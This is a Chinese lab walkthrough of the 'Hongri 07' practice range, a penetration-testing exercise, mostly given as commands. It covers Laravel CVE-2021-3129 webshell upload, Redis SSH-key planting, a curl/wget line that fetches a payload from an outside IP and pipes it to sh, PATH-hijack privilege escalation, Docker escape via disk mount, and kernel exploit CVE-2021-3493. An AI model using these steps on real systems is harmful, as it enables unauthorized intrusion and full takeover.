红日靶场07
# 前言
同一个实验室的朋友师傅打好了靶场环境,属实舒服的,直接蹭车!从 10 月 3 号打到了 10 月 5 号,打的酣畅淋漓。还是学到了很多。
# fscan
1、首先拿 fscan 开扫,发现 redis 和 laravel 的 cve
# laravel
2、我直接选择打 laravel
https://github.com/joshuavanderpoll/CVE-2021-3129.git (拿 flag)
https://github.com/ajisai-babu/CVE-2021-3129-exp (拿 shell)
我用的第二个,直接写马,可以正常访问,链接蚁剑
python CVE-2021-3129.py -u http://192.168.1.102:81/ --e
# vshell
3、准备上线 vshell,用了命令和传文件都不行,原来是不出网
# redis
再尝试另一种方法,redis 未授权访问
尝试了几种方法,发现写马,定时任务,主从复制都不行,只能写公钥
参考:
https://blog.csdn.net/q20010619/article/details/121912003
利用步骤:
1. 在攻击方生成一对 ssh key
ssh-keygen -t rsa
# 默认情况下,生成后在用户的家目录下的 .ssh 目录下
2. 将生成的公钥值写入目标服务器
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
//加上 \n\n 是为了不破坏 ssh public key
//crackit 是设置的 key,可随意指定
3. 连接目标,发现成功连接
$ redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/
OK
192.168.1.100:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.1.100:6379> config set dbfilename "authorized_keys"
OK
192.168.1.100:6379> save
OK
4. 通过 ssh 连接目标
ssh root@192.168.1.100 -i ~/.ssh/id_rsa
# 默认会使用 id_rsa 如果改过文件名则可以用 -i 参数来指定
# 使用 -p 参数指定连接端口默认为22
# redisEXP (一把梭)
./RedisEXP_linux_amd64 -r 192.168.1.102 -p 6379 -m ssh -u root -s /root/.ssh/id_rsa
# 我 redis 连接的是 192.168.1.100 出网,直接上线 vshell
(curl -fsSL -m180 117.50.196.44:8084/slt||wget -T180 -q 117.50.196.44:8084/slt)|sh
直接搭建代理,准备攻击 192.168.52.10 这台主机
### 代理搭建,还是利用 laravel 漏洞写马
# 蚁剑
直接蚁剑连接,不过要用 socks 代理,直接添加 exe
# suid 提权
一开始在蚁剑搞了好久,不成功,然后发现蚁剑本身有问题,操了
先尝试反弹到 192.168.52.10 的 ubantu,为什么不谈 192.168.1.100,因为两张网卡不通
还有一个坑,我试了很多端口,发现只有 1234,能连上,麻了。。。
不过最后还是连上了
继续在 ubantu 提权
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
提权成功
# docker 逃逸
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
发现三个磁盘文件和 N 个设备文件,将 /dev/sda1 挂载到自己创建的文件夹看是否有利用的数据
mkdir f #创建名为f的文件夹
mount /dev/sda1 f #把sda1挂载到f
ls f
查看 home 文件时发现其中存在 ubuntu 用户,制作 ssh 公钥尝试连接
ssh-keygen -f f
chmod 600 f
这个要在 ubantu 操作
回到没有 bash 的 192.168.52.10,麻了,执行下面命令
注意:一定要 cd 进去 /f ,不然路径错误
cp -avx /f/home/ubuntu/.ssh/id_rsa.pub /f/home/ubuntu/.ssh/authorized_keys #avx是将权限也一起复制
echo > /f/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo 'f.pub文件的内容' > /f/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
ssh -i f ubuntu@192.168.52.20
最后在 ubantu 执行 ssh -i f ubuntu@192.168.52.20 成功连接
# 内核提权 (CVE-2021-3493)
查看网卡,发现两个
exp: https://github.com/briskets/CVE-2021-3493
在 github 上复制 c 代码粘贴 1.c
cd /tmp
vim 1.c #将下载的exp内容粘贴到该文件中
gcc 1.c -o 1 #编译exp
chmod +x 1
./1
成功提权
# 上线 msf
第一个上线了 192.168.52.10 但是第二个内网 192.168.52.20 上线不了